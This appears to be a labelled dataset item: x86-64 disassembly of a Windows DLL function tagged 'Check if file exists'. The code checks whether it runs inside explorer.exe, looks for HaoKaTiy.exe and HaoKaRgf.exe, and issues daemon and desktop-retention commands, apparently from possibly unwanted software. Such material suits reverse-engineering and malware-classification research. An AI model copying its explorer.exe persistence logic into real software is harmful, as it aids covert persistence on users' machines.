Function at 0x1800162c0
Capabilities:
Check if file exists

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x418]
sub rsp, 0x510
mov qword [rbp - 0x50], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov rax, qword [0x1800851e8]
xor rax, rsp
mov qword [rbp + 0x400], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x2f0]
call fcn.18003ab60
mov r8d, 0x104
lea rdx, [rbp + 0x2f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, str.explorer.exe
lea rcx, [rbp + 0x2f0]
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
je 0x180016fa2
xor r14d, r14d
mov qword [rbp - 8], r14
mov qword [rbp], 7
mov word [rbp - 0x18], r14w
movdqa xmm0, xmmword [0x1800602e0]
movdqu xmmword [rbp + 0x18], xmm0
mov word [rbp + 8], r14w
lea rax, [rsp + 0x50]
mov qword [rbp - 0x48], rax
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], r14b
lea rdx, str.SoftResHaoKanWP
lea rcx, [rsp + 0x50]
call fcn.180002680
nop
mov rbx, qword [0x180088010]
test rbx, rbx
jne 0x180016409
lea rdi, [0x180088020]
mov qword [rbp - 0x40], rdi
mov rcx, rdi
call fcn.18001b7ec
test eax, eax
je 0x1800163c0
mov ecx, eax
call fcn.18001b91c
nop
mov rbx, qword [0x180088010]
test rbx, rbx
jne 0x1800163f5
lea ecx, [rbx + 0x30]
call fcn.18001c8d4
mov qword [rsp + 0x20], rax
test rax, rax
je 0x1800163eb
mov rcx, rax
call fcn.18000c250
mov rbx, rax
jmp 0x1800163ee
mov rbx, r14
mov qword [0x180088010], rbx
mov rcx, rdi
call fcn.18001b810
test eax, eax
je 0x180016409
mov ecx, eax
call fcn.18001b91c
nop
mov r9d, 0x1388
lea r8, [rsp + 0x50]
mov rdx, qword [0x1800887c0]
mov rcx, rbx
call fcn.18000de10
mov ecx, dword [0x1800893f8]
mov rax, qword gs:[0x58]
mov edx, 4
mov rbx, qword [rax + rcx*8]
add rbx, rdx
mov eax, dword [rbx]
cmp dword [0x180088278], eax
jg 0x180016fd4
mov eax, dword [rbx]
cmp dword [0x180088388], eax
jg 0x180017017
mov eax, dword [rbx]
cmp dword [0x1800887a8], eax
jg 0x18001705a
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [0x1800887c0]
lea rcx, [0x1800881a0]
call fcn.180008f10
lea rdx, [rbp + 0xa8]
lea rcx, [0x180088280]
call fcn.180012a60
nop
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r14
mov rdi, qword [rbp + 0xb8]
lea rsi, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 8
cmovae rsi, qword [rbp + 0xa8]
cmp rdi, 8
jae 0x1800164d6
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x48], 7
jmp 0x180016519
mov rbx, rdi
or rbx, 7
movabs rax, 0x7ffffffffffffffe
cmp rbx, rax
cmova rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rsp + 0x30]
call fcn.180003ce0
mov qword [rsp + 0x30], rax
lea r8, [rdi*2 + 2]
mov rdx, rsi
mov rcx, rax
call fcn.18003a700
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rdi
lea rcx, [rsp + 0x30]
call fcn.180007250
test rax, rax
jle 0x18001653d
mov rcx, rax
call fcn.180014580
test eax, eax
jne 0x180016f82
xor ecx, ecx
call fcn.180045be0
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.1800070f0
mov rdx, rax
lea rcx, [0x180088280]
call fcn.180013300
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], 7
mov word [rsp + 0x70], r14w
lea rdx, [0x1800602c0]
lea rcx, [rsp + 0x70]
call fcn.180008010
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x250]
call fcn.180013400
nop
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r14w
lea rdx, str.HaoKanWp
lea rcx, [rbp - 0x70]
call fcn.180008010
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x250]
call fcn.1800135d0
test eax, eax
jne 0x18001668c
lea rdx, [rbp + 0x148]
lea rcx, [0x1800881a0]
call fcn.180008ea0
mov rbx, rax
lea rax, [rbp - 0x18]
cmp rax, rbx
je 0x180016614
lea rcx, [rbp - 0x18]
call fcn.180003c70
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x18], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 8], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
mov rdx, qword [rbp + 0x160]
cmp rdx, 8
jb 0x18001665a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180016655
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001709d
call fcn.18001c898
mov r8d, 0xc
lea rdx, str.HaoKaTiy.exe
lea rcx, [rbp - 0x18]
call fcn.180003d50
lea rcx, [rbp - 0x18]
cmp qword [rbp], 8
cmovae rcx, qword [rbp - 0x18]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x180016b7c
lea rdx, [rbp + 0x168]
lea rcx, [0x1800881a0]
call fcn.180008ea0
mov rbx, rax
lea rax, [rbp - 0x18]
cmp rax, rbx
je 0x1800166d3
lea rcx, [rbp - 0x18]
call fcn.180003c70
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x18], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 8], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
mov rdx, qword [rbp + 0x180]
cmp rdx, 8
jb 0x180016719
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180016714
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800170a3
call fcn.18001c898
mov r8d, 0xc
lea rdx, str.HaoKaTiy.exe
lea rcx, [rbp - 0x18]
call fcn.180003d50
lea rcx, [rbp - 0x18]
cmp qword [rbp], 8
cmovae rcx, qword [rbp - 0x18]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x180016b7c
lea rdx, str.CMD_REPORT_RETAIN_DESKTOP
lea rcx, [rbp + 0x188]
call fcn.18000d620
mov rbx, rax
lea rax, [rbp + 8]
cmp rax, rbx
je 0x180016792
lea rcx, [rbp + 8]
call fcn.180003c70
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 8], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x18], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
mov rdx, qword [rbp + 0x1a0]
cmp rdx, 8
jb 0x1800167d8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800167d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800170a9
call fcn.18001c898
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 8
cmovae rdx, qword [rbp + 8]
lea rcx, [rbp + 0x1a8]
call fcn.180014290
mov rbx, rax
lea rax, [rbp + 8]
cmp rax, rbx
je 0x180016826
lea rcx, [rbp + 8]
call fcn.180003c70
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 8], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x18], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
mov rdx, qword [rbp + 0x1c0]
cmp rdx, 8
jb 0x18001686c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180016867
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800170af
call fcn.18001c898
movdqa xmm0, xmmword [0x1800602e0]
movdqu xmmword [rbp + 0x38], xmm0
mov word [rbp + 0x28], r14w
lea rdx, [0x180060aac]
lea rcx, [rbp + 0x28]
call fcn.180008010
lea rdx, [rbp - 0x18]
cmp qword [rbp], 8
cmovae rdx, qword [rbp - 0x18]
mov r8, qword [rbp - 8]
lea rcx, [rbp + 0x28]
call fcn.180003d50
mov r8d, 2
lea rdx, [0x180060ab0]
lea rcx, [rbp + 0x28]
call fcn.180003d50
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 8
cmovae rdx, qword [rbp + 8]
mov r8, qword [rbp + 0x18]
lea rcx, [rbp + 0x28]
call fcn.180003d50
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 8
cmovae rdx, qword [rbp + 0x28]
lea rcx, [0x180088390]
call fcn.180013fd0
lea rdx, str.CMD_SOFT_DAEMON
lea rcx, [rbp + 0x1c8]
call fcn.18000d620
mov rbx, rax
lea rax, [rbp + 8]
cmp rax, rbx
je 0x18001693b
lea rcx, [rbp + 8]
call fcn.180003c70
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 8], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x18], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
mov rdx, qword [rbp + 0x1e0]
cmp rdx, 8
jb 0x180016981
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001697c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800170b5
call fcn.18001c898
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 8
cmovae rdx, qword [rbp + 8]
lea rcx, [rbp + 0x1e8]
call fcn.180014290
mov rbx, rax
lea rax, [rbp + 8]
cmp rax, rbx
je 0x1800169cf
lea rcx, [rbp + 8]
call fcn.180003c70
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 8], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x18], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
mov rdx, qword [rbp + 0x200]
cmp rdx, 8
jb 0x180016a15
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180016a10
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800170bb
call fcn.18001c898
mov dword [rsp + 0x28], 0x1388
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 8
cmovae rdx, qword [rbp + 8]
movdqa xmm0, xmmword [0x1800602e0]
movdqu xmmword [rbp + 0x98], xmm0
mov word [rbp + 0x88], r14w
lea rcx, [rbp + 0x88]
call fcn.180008010
nop
lea rdx, [rbp - 0x18]
cmp qword [rbp], 8
cmovae rdx, qword [rbp - 0x18]
movdqa xmm0, xmmword [0x1800602e0]
movdqu xmmword [rbp + 0x78], xmm0
mov word [rbp + 0x68], r14w
lea rcx, [rbp + 0x68]
call fcn.180008010
nop
lea r9, [rsp + 0x28]
lea r8, [rbp + 0x88]
lea rdx, [rbp + 0x68]
lea rcx, [0x180088390]
call fcn.180013d10
nop
mov rdx, qword [rbp + 0x80]
cmp rdx, 8
jb 0x180016ada
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180016ad5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800170c1
call fcn.18001c898
movdqa xmm0, xmmword [0x1800602e0]
movdqu xmmword [rbp + 0x78], xmm0
mov word [rbp + 0x68], r14w
mov rdx, qword [rbp + 0xa0]
cmp rdx, 8
jb 0x180016b33
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180016b2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800170c7
call fcn.18001c898
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 8
jb 0x180016f75
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180016b72
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800170cd
call fcn.18001c898
jmp 0x180016f75
lea rdx, [rbp + 0x208]
lea rcx, [0x180088280]
call fcn.180013090
mov rbx, rax
lea rax, [rbp - 0x18]
cmp rax, rbx
je 0x180016bc3
lea rcx, [rbp - 0x18]
call fcn.180003c70
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x18], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 8], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
mov rdx, qword [rbp + 0x220]
cmp rdx, 8
jb 0x180016c09
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x208]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180016c04
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800170d3
call fcn.18001c898
cmp qword [rbp - 8], 0
jbe 0x180016c2c
lea rcx, [rbp - 0x18]
cmp qword [rbp], 8
cmovae rcx, qword [rbp - 0x18]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x180016cfb
lea rdx, [rbp + 0x228]
lea rcx, [0x1800881a0]
call fcn.180008ee0
mov rbx, rax
lea rax, [rbp - 0x18]
cmp rax, rbx
je 0x180016c73
lea rcx, [rbp - 0x18]
call fcn.180003c70
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x18], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 8], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
mov rdx, qword [rbp + 0x240]
cmp rdx, 8
jb 0x180016cb9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x228]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180016cb4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180016fce
call fcn.18001c898
mov r8d, 6
lea rdx, str.kaqoae
lea rcx, [rbp - 0x18]
call fcn.180003d50
mov r8d, 1
lea rdx, [0x1800602c4]
lea rcx, [rbp - 0x18]
call fcn.180003d50
mov r8d, 0xc
lea rdx, str.HaoKaRgf.exe
lea rcx, [rbp - 0x18]
call fcn.180003d50
cmp qword [rbp - 8], 0
jbe 0x180016d1e
lea rcx, [rbp - 0x18]
cmp qword [rbp], 8
cmovae rcx, qword [rbp - 0x18]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x180016de0
lea rdx, [rbp + 0xe8]
lea rcx, [0x1800881a0]
call fcn.180008ec0
mov rbx, rax
lea rax, [rbp - 0x18]
cmp rax, rbx
je 0x180016d65
lea rcx, [rbp - 0x18]
call fcn.180003c70
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x18], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 8], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
mov r8, qword [rbp + 0x100]
cmp r8, 8
jb 0x180016d88
inc r8
mov rdx, qword [rbp + 0xe8]
lea rcx, [rbp + 0xe8]
call fcn.180014240
mov r8d, 1
lea rdx, [0x1800602c4]
lea rcx, [rbp - 0x18]
call fcn.180003d50
mov r8d, 6
lea rdx, str.pqoawp
lea rcx, [rbp - 0x18]
call fcn.180003d50
mov r8d, 1
lea rdx, [0x1800602c4]
lea rcx, [rbp - 0x18]
call fcn.180003d50
mov r8d, 0xc
lea rdx, str.HaoKaRgf.exe
lea rcx, [rbp - 0x18]
call fcn.180003d50
cmp qword [rbp - 8], 0
jbe 0x180016f75
lea rcx, [rbp - 0x18]
cmp qword [rbp], 8
cmovae rcx, qword [rbp - 0x18]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x180016f75
lea rdx, str.CMD_DESKTOP_SHELL_RETAIN_SVCHOST
lea rcx, [rbp + 0x108]
call fcn.18000d620
mov rbx, rax
lea rax, [rbp + 8]
cmp rax, rbx
je 0x180016e4e
lea rcx, [rbp + 8]
call fcn.180003c70
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 8], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x18], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
mov r8, qword [rbp + 0x120]
cmp r8, 8
jb 0x180016e71
inc r8
mov rdx, qword [rbp + 0x108]
lea rcx, [rbp + 0x108]
call fcn.180014240
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 8
cmovae rdx, qword [rbp + 8]
lea rcx, [rbp + 0x128]
call fcn.180014290
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.1800150f0
mov r8, qword [rbp + 0x140]
cmp r8, 8
jb 0x180016eba
inc r8
mov rdx, qword [rbp + 0x128]
lea rcx, [rbp + 0x128]
call fcn.180014240
mov dword [rsp + 0x2c], 0x1388
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 8
cmovae rdx, qword [rbp + 8]
movdqa xmm0, xmmword [0x1800602e0]
movdqu xmmword [rbp + 0xd8], xmm0
mov word [rbp + 0xc8], r14w
lea rcx, [rbp + 0xc8]
call fcn.180008010
nop
lea rdx, [rbp - 0x18]
cmp qword [rbp], 8
cmovae rdx, qword [rbp - 0x18]
movdqa xmm0, xmmword [0x1800602e0]
movdqu xmmword [rbp + 0x58], xmm0
mov word [rbp + 0x48], r14w
lea rcx, [rbp + 0x48]
call fcn.180008010
nop
lea r9, [rsp + 0x2c]
lea r8, [rbp + 0xc8]
lea rdx, [rbp + 0x48]
lea rcx, [0x180088390]
call fcn.180013d10
nop
mov r8, qword [rbp + 0x60]
cmp r8, 8
jb 0x180016f56
inc r8
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x48]
call fcn.180014240
movdqa xmm0, xmmword [0x1800602e0]
movdqu xmmword [rbp + 0x58], xmm0
mov word [rbp + 0x48], r14w
lea rcx, [rbp + 0xc8]
call fcn.180003c70
nop
lea rcx, [rbp + 0x250]
call fcn.180013590
nop
lea rcx, [rbp + 0xa8]
call fcn.180003c70
nop
lea rcx, [rbp + 8]
call fcn.180003c70
nop
lea rcx, [rbp - 0x18]
call fcn.180003c70
mov rcx, qword [rbp + 0x400]
xor rcx, rsp
call fcn.18001c9b0
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.18003e394
nop
lea rcx, [0x180088278]
call fcn.18001d2f0
cmp dword [0x180088278], 0xffffffff
jne 0x18001644c
lea rcx, [0x1800881a0]
call fcn.180008d30
lea rcx, [0x18005b210]
call fcn.18001cda0
nop
lea rcx, [0x180088278]
call fcn.18001d290
jmp 0x18001644c
lea rcx, [0x180088388]
call fcn.18001d2f0
cmp dword [0x180088388], 0xffffffff
jne 0x18001645a
lea rcx, [0x180088280]
call fcn.180012940
lea rcx, [0x18005b220]
call fcn.18001cda0
nop
lea rcx, [0x180088388]
call fcn.18001d290
jmp 0x18001645a
lea rcx, [0x1800887a8]
call fcn.18001d2f0
cmp dword [0x1800887a8], 0xffffffff
jne 0x180016468
lea rcx, [0x180088390]
call fcn.180013d00
lea rcx, [0x18005b230]
call fcn.18001cda0
nop
lea rcx, [0x1800887a8]
call fcn.18001d290
jmp 0x180016468
call fcn.18003e394
int3
call fcn.18003e394
int3
call fcn.18003e394
int3
call fcn.18003e394
nop
call fcn.18003e394
int3
call fcn.18003e394
nop
call fcn.18003e394
nop
call fcn.18003e394
nop
call fcn.18003e394
int3
call fcn.18003e394
int3